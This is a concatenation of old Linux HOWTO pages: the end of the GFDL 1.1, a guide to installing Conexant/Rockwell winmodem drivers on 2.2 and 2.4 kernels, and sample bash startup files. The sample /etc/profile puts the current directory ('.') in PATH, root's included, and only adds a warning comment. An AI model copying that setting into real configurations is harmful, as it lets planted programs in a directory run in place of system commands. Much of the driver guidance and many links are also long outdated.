  • B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  • C. State on the Title Page the name of the publisher of the Modified Version, as the publisher.

  • D. Preserve all the copyright notices of the Document.

  • E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  • F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  • G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  • H. Include an unaltered copy of this License.

  • I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  • J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  • K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  • L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  • M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  • N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version .

.1.6. 5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

.1.7. 6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

.1.8. 7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document , on account of their being thus compiled, if they are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

.1.9. 8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

.1.10. 9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

.1.11. 10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

.1.12. Addendum

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright © YEAR YOUR NAME.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
HSF |


Identifying your modem type

Conexant/Rockwell modem HOWTO
Prev Next

3. Identifying your modem type

The first task you will need to do is to identify whether your modem's chipset is HCF or HSF. Unfortunately the traditional way of doing this (by using /proc/pci, lspci or KDE's control center) won't work for us here due to errors in the pci.ids file which can cause a misidentification of the modem. There are three main ways which you can use to identify your modem's chipset:

  1. If you've got your modem working under Windows then you can identify your chipset by downloading and running Conexant's ListModem Application. When you run it, the program will give the information we want under "MODEM TYPE".

  2. If you've opened your computer up chances are that the modem's chipset will have either the letters "HSF" or "HCF" printed on it.

  3. You can identify your type of modem from it's device ID and vendor ID, the easiest way get this information is from the command lspci -n (or less /proc/pci on older Linux distributions) this command tells you all of the Vendor IDs and Devices IDs for all of the PCI cards in your machine. You will be able to identify your modems' IDs as it will have a vendor ID of either 14F1 (Conexant) or 127A (Rockwell). Ignore any information that the lspci command tells you about your modem being a HSF or HCF as it could be wrong.

    The information is often presented in the form VVVV:DDDD where VVVV is the vendor ID and DDDD is the device ID, for instance if it listed 127a:2005 it would mean the that the Vendor ID is 127a and device ID is 2005.

    If your modem is a HCF modem it will have one of the following Device IDs:

    1033 / 1034 / 1035 / 1036 / 10b3 / 10b4 / 10b5 / 10b6 / 1003 / 1004 / 1005 / 1023 / 1024 / 1025 / 1f10 / 1f11 / 1f14 / 1f15

    If your modem is a SmartHCF modem it will have one of the following Device IDs:

    1052 / 1053 / 1054 / 1055 / 1056 / 1057 / 1058 / 1059 / 1063 / 1064 / 1065 / 1066

    If your modem is a HSF modem it will have one of the following Device IDs:

    2013 / 2014 / 2015 / 2016 / 2003 / 2004 / 2005 / 2006 / 2f10 / 2f12 / 2f00

    If your modem is a SmartHSF modem it will have one of the following Device IDs:

    2043 / 2044 / 2045 / 2046 / 2053 / 2054 / 2055 / 2056

If you have a HCF or SmartHCF modem goto to the HCF section, if you have a HSF or SmartHSF modem go the to the HSF section.

Prev | Home | Next
Quick Start guide |  | HCF chipset based modems


HCF chipset based modems

Conexant/Rockwell modem HOWTO
Prev Next

4. HCF chipset based modems

4.1. History

Unfortunately at the present time there is no HCF modem driver for linux. Conexant have indicated in section 11 of their FAQ (http://www.conexant.com:80/cnxt/customer/md_faqs.htm) that they are currently developing one.

Several people have reported that they have got a HCF modem (in particular chipsets with the device ID of 1025) to work under Linux by using the HSF driver, however little firm information is known about this. If you successfully manage to use an HCF modem under linux please contact me to tell me about it.

One person has reported that if you get the "No Dialtone" error when trying to use a HSF driver with a HCF modem you can correct it by using the AT command "AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0".

4.2. Miscellaneous information

If you wish to embark on writing your own driver you might find the following files useful,

Information on how to edit the INF file

http://users.freenet.am/~hcfconf/advdocs/country.zip

Modem command guide

http://users.freenet.am/~hcfconf/advdocs/100498C.zip

Designers notes and specifications

http://www.unitronic.de/Hersteller/conexant/Modem.htm

Prev | Home | Next
Identifying your modem type |  | HSF


HSF

Conexant/Rockwell modem HOWTO
Prev Next

5. HSF

5.1. History

A HSF driver first appeared out of the blue in mid-2000 when Olitec released unto the world a binary only driver for their Olitec PCI modem for 2.2.14 kernel, it wasn't long before someone realized that the Olitec modem was based on the Rockwell/Conexant HSF Chipset. Inquiries to Olitec revealed that the driver should work with any HSF chipset as there was nothing in the driver that was specific to the Olitec modems. Many people tried to get the driver to work with non-Olitec modem unfortunately without success, however a few months later and after many hours of work by many people trying a variety of tricks to get the driver to work, several people managed to stumble across the solution. It was a simple one line change to file which solved the problem and the world was left with a working HSF driver, at the time it only worked on 2.2.14 Kernels and Olitec had refused to release the source code to let others try to get it to work with other kernels.

A few months later Olitec released the driver for 2.2.16 and 2.2.17 kernels, this kept the HSF winmodem community satisfied until we came to the day when the 2.4 kernel was released. None of the previous drivers appeared to work with the 2.4 kernel and this caused problems for all those who wanted to upgrade and also for the large number of new users who were using 2.4.* kernel based distributions such as Mandrake 8 and RedHat 7.1. Not a word had been heard out of Olitec since the 2.4 kernel was released, but Conexant had announced that they intended to develop a Linux driver. After many months of waiting for a 2.4.* driver Marc Boucher decided to something about it and wrote a wrapper which allowed an old version of the driver to be used with 2.4.* kernels.

That's where we are now, Marc's wrapper is still in experimental development stage but it works and many people are using it to connect to the internet under Linux.

From the history you'll understand why the next section has to be split into two sections one for 2.2.14 - 2.2.18 kernels and one for 2.4.* kernels. If you don't know what kernel version you have you can find out by using the 'uname -r' command at the console window before proceeding to the appropriate section of this HOWTO.

5.2. Kernel 2.2.14 - 18

5.2.1. Requirements

Having either a 2.2.14, 2.2.16 or 2.2.17 kernel. It has been reported that the driver for 2.2.17 kernels also works with 2.2.18 kernels.

5.2.2. Getting IDs

To get the modem to work you'll need to get the Vendor ID and Device ID. The easiest way to do this is to use the command "less /proc/pci" and scroll until you find the PCI card which has a vendor ID of either 14F1 (Conexant) or 127A (Rockwell) and note the Device ID.

You'll need to make an %HSFModem% line.

Copy down the following line somewhere,

%HSFModem% = ModemX, PCI\VEN_XXXX&DEV_YYYY&SUBSYS_YYYYXXXX

Replacing the XXXX's with your Vendor ID and the YYYY's with your Device ID, so if your Vendor ID is 127A and Device ID is 2015 your line would be,

%HSFModem% = ModemX, PCI\VEN_127A&DEV_2015&SUBSYS_2015127A

You'll need to use this line later on to allow the driver to detect your modem, the next steps you need to take vary slightly depending on what kernel you have so you'll need to refer to the appropriate section depending on whether your kernel version is 2.2.14, 2.2.16 or 2.2.17

5.2.3. If you have a 2.2.14 kernel

Installing a HSF driver on a 2.2.14 kernel

  1. Download the file HSF_V1.01.02_K2.2.14-5.0.tar, it can be obtained from Olitec's site or the mirror.

  2. Copy it to your home directory

  3. In a console window change to your home directory

    [user@localhost]$ cd ~

  4. Decompress the file

    [user@localhost]$ tar xzvf HSF_V1.01.02_K2.2.14-5.0.tar

  5. Enter into the drivers directory

    [user@localhost]$ cd pci_56k_v2

  6. Load up the lin_hsf.inf file in your favorite text editor, under the section [generic] you'll see a few of lines like "%HSFModem% = ModemX, PCI\VEN_127A&DEV_1025&SUBSYS_1025127A" under theses lines add your own %HSFModem% line which you made earlier.

  7. Switch to root

    [user@localhost]$ su

  8. Run the ins_all script to install the driver

    [user@localhost]$ ./ins_all

You will now be able to access the internet by telling your dial-up software that your modem is located at /dev/modem.

The ins_all will only temporarily load the modem driver and the modem driver will be removed when you reboot. So if you re boot you will need to run the ./ins_all program to reload the driver, if you reboot on a regular basis you may want to set the . /ins_all command to automatically run every time your computer loads up.

5.2.4. If you have a 2.2.16 kernel

Installing a HSF driver on a 2.2.16 kernel

  1. Download the file PCI_56K_V2_K2.2.16.tar.gz, it can be obtained from Olitec's site or the Mirror.

  2. Copy it to your home directory

  3. In a console window change to your home directory

    [user@localhost]$ cd ~

  4. Decompress the file

    [user@localhost]$ tar xzvf PCI_56K_V2_K2.2.16.tar.gz

  5. Enter into the drivers directory

    [user@localhost]$ cd pci_56k_v2_k2.2.16

  6. Load up the lin_hsf.inf file in your favorite text editor, under the section [generic] you'll see a few of lines like "%HSFModem% = ModemX, PCI\VEN_127A&DEV_1025&SUBSYS_1025127A" under theses lines add your own %HSFModem% line which you made earlier.

  7. Switch to root

    [user@localhost]$ su

  8. Run the ins_all script to install the driver

    [user@localhost]$ ./ins_all

You will now be able to access the internet by telling your dial-up software that your modem is located at /dev/modem.

The ins_all will only temporarily load the modem driver and the modem driver will be removed when you reboot. So if you reboot you will need to run the ./ins_all program to reload the driver, if you reboot on a regular basis you may want to set the ./ins_all command to automatically run every time your computer loads up.

5.2.5. If you have a 2.2.17 or 2.2.18 kernel

Installing a HSF driver on a 2.2.17 or 2.2.18 kernel

  1. Download the file PCI_56K_V2_K2.2.17.tar.gz , it can be obtained from Olitec's site or the Mirror.

  2. Copy it to your home directory

  3. In a console window change to your home directory

    [user@localhost]$ cd ~

  4. Decompress the file

    [user@localhost]$ tar xzvf PCI_56K_V2_K2.2.17.tar.gz

  5. Enter into the drivers directory

    [user@localhost]$ cd pci_56k_v2_k2.2.17

  6. Load up the lin_hsf.inf file in your favorite text editor, under the section [generic] you'll see a few of lines like "%HSFModem% = ModemX, PCI\VEN_127A&DEV_1025&SUBSYS_1025127A" under theses lines add your own %HSFModem% line which you made earlier.

  7. Switch to root

    [user@localhost]$ su

  8. Run the ins_all script to install the driver

    [user@localhost]$ ./ins_all

You will now be able to access the internet by telling your dial-up software that your modem is located at /dev/modem.

The ins_all will only temporarily load the modem driver and the modem driver will be removed when you reboot. So if you reboot you will need to run the ./ins_all program to reload the driver, if you reboot on a regular basis you may want to set the ./ins_all command to automatically run every time your computer loads up.

5.3. Kernel 2.4.*

5.3.1. Requirements

  • You need a 2.4.* kernel which does not have SMP support.

  • You will also need to have your kernel source available, if you don't have them installed already you can probably find them on your distributions CD.

  • At least version 2.4.0 of ppp (you can find what version of ppp you have installed by using the command pppd --version)

To get the modem working under a 2.4.* kernel you'll need to use the driver intended for 2.2.17 kernels alongside Marc Boucher's hsfcompat wrapper program which lets the driver work with 2.4.* kernels. At the time of writing the hsfcompat driver is on version 1.0d and is still experimental and may cause problem with your system. However I haven't seen anyone have any problem from using the wrapper. For the latest details see hsfcompat's homepage.

Files you'll need to download:

hsfcompat_24-1.0d.tar.gz

Main download site:

http://www.mbsi.ca/hsfcompat/hsfcompat_24-1.0d.tar.gz

PCI_56K_V2_K2.2.17.tar.gz

Main download site:

http://www.olitec.com/pub/PCI_56K_V2_K2.2.17.tar.gz

Mirrored at:

ftp://ftp.dina.kvl.dk/pub/Staff/Thomas.S.Iversen/linmodems_drivers/olitec/PCI_56K_V2_K2.2.17.tar.gz

5.3.2. Installing

  1. Copy the hsfcompat_24-1.0d.tar.gz file to your home directory

  2. In a console window change to your home directory

    [user@localhost]$ cd ~

  3. Extract the hcfcompat program by using:

    [user@localhost]$ tar xzvf hsfcompat_24-1.0d.tar.gz

  4. Copy the PCI_56K_V2_K2.2.17.tar.gz file into the hsfcompat_24-1.0d directory.

  5. Extract the driver by using:

    [user@localhost]$ tar xzvf PCI_56K_V2_K2.2.17.tar.gz

  6. Load up the file Makefile (Found in the hsfcompat_24-1.0d directory) in a text editor and scroll down to the line which reads SBINDIR=/usr/sbin and replace /usr/sbin with the location of your system bin directory, then scroll down to the line which reads KERNELSRC=/usr/src/linux and replace /usr/src/linux with the location of your kernel source files.

  7. Switch to superuser (root) by using:

    [user@localhost]$ su

  8. In the hsfcompat_24-1.0d directory compile hsfcompat by using:

    [user@localhost]$ make

  9. Install the driver by running: [user@localhost]$ make install

  10. Follow the on-screen instruction which explain how to load the driver into memory and how to have this done automatically.

5.4. Troubleshooting FAQ

5.4.1. When running ./ins_all I get a kernel mismatch error ?
5.4.2. When I try to run ./ins_all I get the error "bash: ./ins_all No such file or directory."
5.4.3. When installing the driver when it tries to load myserial.o I get a segmentation fault ?
5.4.4. When trying to dial my ISP I get "No Carrier" error ?
5.4.5. When running ./ins_alI get the error "No matching INF file is found for SoftK56 PCI device" ?
5.4.6. On my Laptop the driver seemed to install fine but I can't access my modem on /dev/modem ?

5.4.1. When running ./ins_all I get a kernel mismatch error ?

This means that the driver thinks that you don't have the appropriate kernel version, if you have a variant of the kernel (such as the one that has non-standard name) then you can still get the driver to work by loading up the file ins_all in a text editor and replacing all of the 'insmod -m' commands with 'insmod -f -m'.

5.4.2. When I try to run ./ins_all I get the error "bash: ./ins_all No such file or directory."

This error tends to be caused by the script being unable to find C Shell at the location /bin/csh. If you have C Shell installed in a different location then you should create a symbolic link which points to the correct location. If you don't have you'll need to install it.

5.4.3. When installing the driver when it tries to load myserial.o I get a segmentation fault ?

This is caused by your computer trying to get Plug-and-Play to work with your modem. You can stop it doing this by going to your BIOS and setting an option which tells it not to do that. The settings name varies from BIOS to BIOS but is normally something like PnP OS.

5.4.4. When trying to dial my ISP I get "No Carrier" error ?

It has been reported that making the following changes to your configuration will work:

  1. Replace the command ATZ with ATZX3

  2. Replace the command ATDT with ATX3DT

5.4.5. When running ./ins_alI get the error "No matching INF file is found for SoftK56 PCI device" ?

his occurs when the driver can't find the correct %HSFModem% line in the lin_hsf.inf line, go back through the instructions and make sure that you didn't make a mistake when making or entering the the %HSFModem% line.

5.4.6. On my Laptop the driver seemed to install fine but I can't access my modem on /dev/modem ?

This is often caused by the modem's device number clashing with that of PCMCIA, you can check if this is the case by entering the command,

[user@localhost]$ ls -l /dev/ | grep 254

You'll see the hsf0 device listed with the major number of 254, if any other device also has the major number of 254 it means there is a clash. You can fix this problem by loading up the ins_all file and change the line which reads "mknod /dev/cnxt c 254 64" to "mknod /dev/cnxt c 253 64".

Prev | Home | Next
HCF chipset based modems |  | License


Conexant/Rockwell modem HOWTO

Imran Ghory

ImranG@btinternet.com

2001-08-01

Revision History
Revision 1.3 | 2002-03-12 | Revised by: ig
Updated to deal with new HCF driver.
Revision 1.2 | 2002-02-21 | Revised by: ig
Updated to deal with new HSF driver and release date for HCF driver.
Revision 1.0 | 2001-09-09 | Revised by: ig
Added entries to the FAQ, corrected grammatical errors, and update a URL.
Revision 0.9 | 2001-08-01 | Revised by: ig
Initial release.

A guide to using Conexant and Rockwell chipset based Software modems under Linux.

Table of Contents
1. Introduction
1.1. Purpose of the howto
1.2. About the howto
1.3. Feedback
1.4. License
1.5. Acknowledgments
1.6. Getting Help
2. Quick Start guide
2.1. Quick Starting with an HCF modem
3. Identifying your modem type
4. HCF chipset based modems
4.1. History
4.2. Miscellaneous information
5. HSF
5.1. History
5.2. Kernel 2.2.14 - 18
5.3. Kernel 2.4.*
5.4. Troubleshooting FAQ
A. License
.1. GNU Free Documentation License
Next
Introduction


Introduction

Conexant/Rockwell modem HOWTO
Prev Next

1. Introduction

1.1. Purpose of the howto

If you've got a Rockwell or Conexant chipset based modem and you can't seem to get the modem to work with Linux, then you've come to the right place. Chances are that you've got a Software modem (also known as a "winmodem") and you'll need a driver to get the modem working under Linux.

If you've got a Software modem whose chipset is not made by Conexant or Rockwell then you should see the linmodem howto.

Note that this guide has no information about using Conexant/Rockwell modems for operating systems other then Linux except for the following: There are no known drivers for FreeBSD or BeOS, Windows drivers can be obtained from Conexant.

1.2. About the howto

This HOWTO originally started out as a website about installing Conexant HSF modems under linux, but after several months of being online the number of hits on the website was rapidly growing (100 hits/day at time of writing this HOWTO) and so were the number of requests for information about Rockwell/Conexant modems that were being posted to the linmodem mailing list, usenet and various web based forums. This lead me to decide that the information needed another distribution medium which would be more accessible to users. The result of this was this HOWTO which has expanded to include a far larger range of information then the original website had, in order to cover all the questions being asked on the internet.

At the same time as the increase in demand for information about Rockwell/Conexant modems under linux a number of non-english webpages appeared explaining how to setup the drivers in languages as diverse as Portuguese and Japanese, these webpages often lacked all the current information which was available making it harder for users to get their modems to work. I decided to release this HOWTO under the GNU Free Documentation License, so that native speakers of other language can translate this document into their own language and redistribute it freely, thus ensuring that all users get all the information regardless of what language they speak. If you're interested in making a translation of this HOWTO please contact me.

The HOWTO assumes a basic knowledge of Linux, you should be familiar with the basics of how to use a console/terminal, how to use common commands like less and be familiar with a text editor.When the howto needs you to type something in at the console, the console prompt will look like this: '[user@localhost]$ '

Some parts of the howto rely upon a greater knowledge of Linux, but those section will mainly apply if you have a non-standard Linux distribution.

1.3. Feedback

If you have any feedback on how I can improve this HOWTO or are interested in translating this HOWTO into another language please contact me via email at ImranG@btinternet.com(if you don't get a reply within a week resend the message to imran@bits.bris.ac.uk).

If you need some help in getting your modem to work, rather then contacting me for help directly see the Getting Help section as you are more likely to be able to get a faster answer from the places indicated then if you email me direct.

1.4. License

Copyright (c) 2001,2002 Imran Ghory

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being the Introduction chapter, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".

1.5. Acknowledgments

Thanks to:

  • Olitec for distributing and Conexant for producing the original HSF driver

  • Marc Boucher for writing a wrapper for 2.4.* kernels

  • Denis Havlik for bringing the Olitec driver to the attention of the rest of the Linmodem community

  • Thomas Iversen for mirroring the drivers

1.6. Getting Help

If after following this HOWTO you still can't get your modem to work and you haven't already done so, check the troubleshooting section at the end of this HOWTO as it covers the most common problems. If you are still stuck then there are three main places where you can get help,

Linmodem mailing list

The Linmodem mailing list is the main place on the internet for discussion of the use of Software modems under Linux. If someone else has had the same problem as you chances are that someone on the Linmodem mailing list knows about it. To join the mailing list send a blank email to discuss-subscribe@linmodems.org, the mailing lists homepage is at www.linmodems.org.

SoftModems IRC channel

If you want to talk to someone real time your best bet is the #SoftModems channel on the OpenProject's IRC network. See www.openprojects.org for details or connect to eu.opirc.nu on port 6667.

Newsgroups

The newsgroups comp.os.linux.hardware and comp.os.linux.setup often have people familiar with software modems. If you speak Italian the newsgroup it.comp.os.linux.iniziare has people familiar with Conexant/Rockwell neewsgroups.

Remember when asking for help to include your modems Device ID, Vendor ID and any error message you got.

Prev | Home | Next
Conexant/Rockwell modem HOWTO |  | Quick Start guide


Quick Start guide

Conexant/Rockwell modem HOWTO
Prev Next

2. Quick Start guide

This section tries to get you up and running as soon as possible, if you can follow the steps given in this section and they work for you, you can ignore the rest of this howto. This section is updated more often then the rest of the HOWTO so will contain the most up to date information.

First you need to find out if your modem is an HSF or HCF modem. You can find out from your modem by looking at it's Windows drivers or looking at the label on it's chipset, or alternatively you can download the >

Quick Starting with an HSF modem

[1]

  • Run the program hsfconfig and just follow the on-screen instructions and it should automatically detect your modem and install the driver. If you have any problems consult the documentation that comes with the driver.

    • You will now be able to setup your internet connection software, you may need to tell it that your modem can be found at /dev/modem. If your internet connection software can't access it you may need to change the permissions on it.

    [Technical note: If you have a modem with device ID 2005, then you will need to choose the option to manually configure it before it will work]

    If the above steps don't work for you or the above mentioned driver doesn't work with your system (for instance if you have an SMP machine) then read the rest of the howto which explains how to use the older driver in greater detail.

    2.1. Quick Starting with an HCF modem

    1. Download the driver from http://www.mbsi.ca/hcflinux/, the following instruction are for the Binary RPM driver which is the easiest to install, if you want to install it using another method consult the README file.

    2. Load up a terminal (or go to a console), change to the root user and enter the directory you downloaded the driver to and use the command "rpm -i" followed by the name of the driver. For instance if it is called hcflinmodem-0.9mbsibeta02030801-1.i586.rpm you would enter,

      [user@localhost]$ rpm -i hcflinmodem-0.9mbsibeta02030801-1.i586.rpm

    3. Run the program hcfconfig and just follow the on-screen instructions and it should automatically detect your modem and install the driver. If you have any problems consult the documentation that comes with the driver.

    You will now be able to setup your internet connection software, you may need to tell it that your modem can be found at /dev/modem. If your internet connection software can't access it you may need to change the permissions on it.

    [Technical note: If you have an older modem, i.e one with the Rockwell brand name rather then Conexant then you will not be able to use this driver at present. You will also not be able to use modems which use SmartDAA. See http://www.mbsi.ca/hcflinux/latest/BUGS.txt for updates.]

    Notes

    [1]

    1. Download the driver from http://www.mbsi.ca/hsflinux/, the following instruction are for the Binary RPM version which I recommend you use.

    2. Load up a terminal (or go to a console), change to the root user and enter the directory you downloaded the driver to and use the command "rpm -i" followed by the name of the driver. For instance if it is called hsflinmodem-4.06.06.02mbsibeta02012000-1.i586.rpm you would enter,

      [user@localhost]$ rpm -i hsflinmodem-4.06.06.02mbsibeta02012000-1.i586.rpm

    Prev | Home | Next
Introduction |  | Identifying your modem type


Software Configuration

Configuration HOWTO
Prev Next

4. Software Configuration

These are the the configuration files we are going to custimise: /etc/profile /etc/bashrc .bashrc .bashrc .bash_profile .bash_logout .inputrc .less .lessrc .xinitrc .fvwmrc .fvwm2rc95 .Xmodmap .Xmodmap.num .Xdefaults .jedrc .abbrevs.sl .joerc .emacs . Don't add users until you have completed your system configuration; you'll put the dot files in /etc/skel.

4.1. bash (1)

Arguably, the most important piece of software after the kernel. To tailor the behaviour of bash, these are the main files to edit:

  • /etc/bashrc contains system wide aliases and functions;

  • /etc/profile contains system wide environment stuff and startup programs;

  • $HOME/.bashrc contains user aliases and functions;

  • $HOME/.bash_profile contains user environment stuff and startup programs;

  • $HOME/.inputrc contains key bindings and other bits.

Examples of these files are shown below. First, the most important: /etc/profile. It's used to configure a lot of features in your Linux box, as you will see in the following sections. Please look out for reverse quotes!

# /etc/profile

# System wide environment and startup programs
# Functions and aliases go in /etc/bashrc

# This file sets up the following features and programs:
# path, prompts, a few environment variables, colour ls, less,
# rxvt, Backspace key behaviour, xterm title.
#
# Users can override these settings and/or add others in their
# $HOME/.bash_profile

# first: root or normal user? Set PATH and umask accordingly. Note that the
# PATH is normally set by login (1), but what if you access the machine
# via ssh?

if [ $(id -gn) = $(id -un) -a $(id -u) -gt 14 ]; then
  umask 002  # normal user
  PATH="/usr/local/bin:/bin:/usr/bin:."
else
  umask 022  # root
  PATH="/sbin:/bin:/usr/sbin:/usr/bin"
fi

# Now extend the PATH.
PATH="$PATH:/usr/X11R6/bin:$HOME/bin:." # !!! Beware of ./ !!!

# notify the user: login or non-login shell. If login, the prompt is
# blue; otherwise, magenta. Root's prompt is red.
# See the Colour-ls mini HOWTO for an explanation of the escape codes.
USER=$(whoami)
if [ $LOGNAME = $USER ] ; then
  COLOUR=44  # blue
else
  COLOUR=45  # magenta
fi

if [ $USER = 'root' ] ; then
  COLOUR=41  # red
  PATH="$PATH:/usr/local/bin" # my choice
fi

ESC="\033"
PROMPT='\h'    # hostname
STYLE='m'      # plain
# PROMPT='\u'  # username
# STYLE=';1m'  # bold
PS1="\[$ESC[$COLOUR;37$STYLE\]$PROMPT:\[$ESC[37;40$STYLE\]\w\\$ "
PS2="> "

# Ulimits: no core dumps, max file size 200 Mb.
ulimit -c 0 -f 200000

# a few variables
USER=$(id -un)
LOGNAME=$USER
MAIL="/var/spool/mail/$USER"  # sendmail, postfix, smail
# MAIL="$HOME/Mailbox"        # qmail
NNTPSERVER=news.myisp.it      # put your own here
VISUAL=jed
EDITOR=jed
HOSTNAME=$(/bin/hostname)
HISTSIZE=1000
HISTFileSIZE=1000
export PATH PS1 PS2 USER LOGNAME MAIL NNTPSERVER
export VISUAL EDITOR HOSTNAME HISTSIZE HISTFileSIZE

# enable colour ls
eval $(dircolors /etc/DIR_COLORS -b)
export LS_OPTIONS='-s -F -T 0 --color=yes'

# customize less
LESS='-M-Q'
LESSEDIT="%E ?lt+%lt. %f"
LESSOPEN="| lesspipe.sh %s"
LESSCHARDEF=8bcccbcc13b.4b95.33b. # show colours in ls -l | less
# LESSCHARSET=latin1
PAGER=less
export LESS LESSEDIT LESSOPEN VISUAL LESSCHARDEF PAGER

# you might need this to fix the backspace key in rxvt/xterm
stty erase ^H  # alternative: ^?

# set xterm title: full path
case $TERM in
  xterm*|rxvt)
    PROMPT_COMMAND='echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"'
    ;;
esac

for i in /etc/profile.d/*.sh ; do
  if [ -x $i ]; then
    . $i # beware - variables and aliases might get overridden!
  fi
done

# call fortune, if available
if [ -x /usr/games/fortune ] ; then
echo ; /usr/games/fortune ; echo
fi

This is a sample /etc/bashrc:

# /etc/bashrc

# System wide functions and aliases
# Environment stuff goes in /etc/profile
# Insert PS1 definitions here if you experience problems.

export CDPATH="$CDPATH:~"

# common aliases
alias cp='cp -i'
alias l=less
alias ls="ls $LS_OPTIONS"
alias mv='mv -i'
alias rm='rm -i'
alias rmbk='/bin/rm -f .*~ *~ *aux *bak *log *tmp 2> /dev/null'
alias u='cd ..'
alias which="type -path"
alias x=startx

# A few useful functions
c ()    # cd to the new directory and list its contents
{
  cd $1 ; ls
}

inst()  # Install a .tar.gz archive in current directory
{
  if [ $# != 0 ]; then tar zxvf $1; fi
}

cz()    # List the contents of a .zip archive
{
  if [ $# != 0 ]; then unzip -l $*; fi
}

ctgz()  # List the contents of a .tar.gz archive
{
  for file in $* ; do
    tar ztf ${file}
  done
}

tgz()   # Create a .tgz archive a la zip.
{
  if [ $# != 0 ]; then
    name=$1.tar; shift; tar -rvf ${name} $* ; gzip -9 ${name}
  fi
}

crpm()  # list information on an .rpm file
{
  if [ $# != 0 ]; then rpm -qil $1 | less; fi
}

This is a sample .bashrc:

# $HOME/.bashrc
# Source global definitions

